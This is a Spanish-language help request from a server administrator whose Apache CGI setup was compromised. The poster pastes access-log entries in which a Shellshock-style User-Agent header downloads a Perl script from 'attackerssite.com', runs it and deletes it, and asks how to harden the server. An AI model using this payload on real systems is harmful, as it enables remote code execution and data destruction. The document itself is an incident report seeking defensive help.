Mi servidor apache tiene el módulo cgi habilitado porque necesitamos ejecutar scripts cgi en el navegador. Hemos habilitado el módulo suExec de apache que permite ejecutar el script cgi como un usuario particular. En nuestro caso, ese usuario es ubuntu y, de forma incidental, también es un usuario sudo, pero no usamos ningún comando sudo en nuestros scripts cgi. archivo de sudoers manipulados para este propósito. Es un archivo predeterminado desde el principio.
Los scripts cgi que usamos están en el directorio / usr / lib / cgi-bin cuyo propietario es ubuntu. El directorio htdocs es / var / www / html donde se ubican todos los proyectos web. El propietario de este directorio también es ubuntu porque nuestros scripts cgi crean y actualizan archivos en estos directorios del proyecto y si el propietario de los directorios del proyecto no es ubuntu, no podemos escribir en estos directorios utilizando los scripts cgi.
Este es el escenario que estábamos usando desde hace mucho tiempo sin enfrentar ningún problema hasta la semana pasada. Un ataque llegó a la luz de la cal cuando un atacante eliminó proyectos web de / var / www / html usando un script cgi.
Obtuve esta entrada en el registro de acceso.
[02/Mar/2017:03:36:20 +0530] "GET /cgi-bin/test.cgi HTTP/1.1" 200 12786 "-" "() { :;};/usr/bin/perl -e 'print \"Content-Type: text/plain\r\n\r\nXSUCCESS!\";system(\"wget http://attackerssite.com/perlscript.tgz -O /tmp/perlscript.tgz;curl -O /tmp/perlscript.tgz http://attackerssite.com/perlscript.tgz;perl /tmp/perlscript.tgz ; rm -f /tmp/perlscript.tgz* \");'"
Tengo este archivo perl (perlscript.tgz), tiene 988 líneas, no estoy seguro de lo que hace, pero estoy bastante seguro de que ha hecho el daño porque las URL del proyecto en el archivo de registro no eran 404 antes de esta entrada y después de esto, todas las direcciones URL del proyecto fueron 404.
Esta no fue la única entrada. Antes de ello, Attacker intentó con múltiples intentos fallidos. Aquí están los registros de intentos fallidos.
[02/Mar/2017:03:36:35 +0530] "GET /cgi-bin/script.pl HTTP/1.1" 404 381 "-" "() { :;};/usr/bin/perl -e 'print \"Content-Type: text/plain\r\n\r\nXSUCCESS!\";system(\"wget http://attackerssite.com/perlscript.tgz -O /tmp/perlscript.tgz;curl -O /tmp/perlscript.tgz http://attackerssite.com/perlscript.tgz;perl /tmp/perlscript.tgz ; rm -f /tmp/perlscript.tgz* \");'"
[02/Mar/2017:03:36:35 +0530] "GET /cgi-bin/test-bin.pl HTTP/1.1" 404 381 "-" "() { :;};/usr/bin/perl -e 'print \"Content-Type: text/plain\r\n\r\nXSUCCESS!\";system(\"wget http://attackerssite.com/perlscript.tgz -O /tmp/perlscript.tgz;curl -O /tmp/perlscript.tgz http://attackerssite.com/perlscript.tgz;perl /tmp/perlscript.tgz ; rm -f /tmp/perlscript.tgz* \");'"
[02/Mar/2017:03:36:35 +0530] "GET /cgi-bin/test-cgi.pl HTTP/1.1" 404 381 "-" "() { :;};/usr/bin/perl -e 'print \"Content-Type: text/plain\r\n\r\nXSUCCESS!\";system(\"wget http://attackerssite.com/perlscript.tgz -O /tmp/perlscript.tgz;curl -O /tmp/perlscript.tgz http://attackerssite.com/perlscript.tgz;perl /tmp/perlscript.tgz ; rm -f /tmp/perlscript.tgz* \");'"
Todos estos intentos fueron infructuosos, casi cientos, pero todos fueron 404. El intento exitoso regresó con el estado 200 y destruyó todo.
¿Puede explicar cómo el atacante llegó a los directorios del proyecto y los eliminó y, lo que es más importante, qué debo hacer ahora para que mi sistema sea robusto contra estos ataques en el futuro?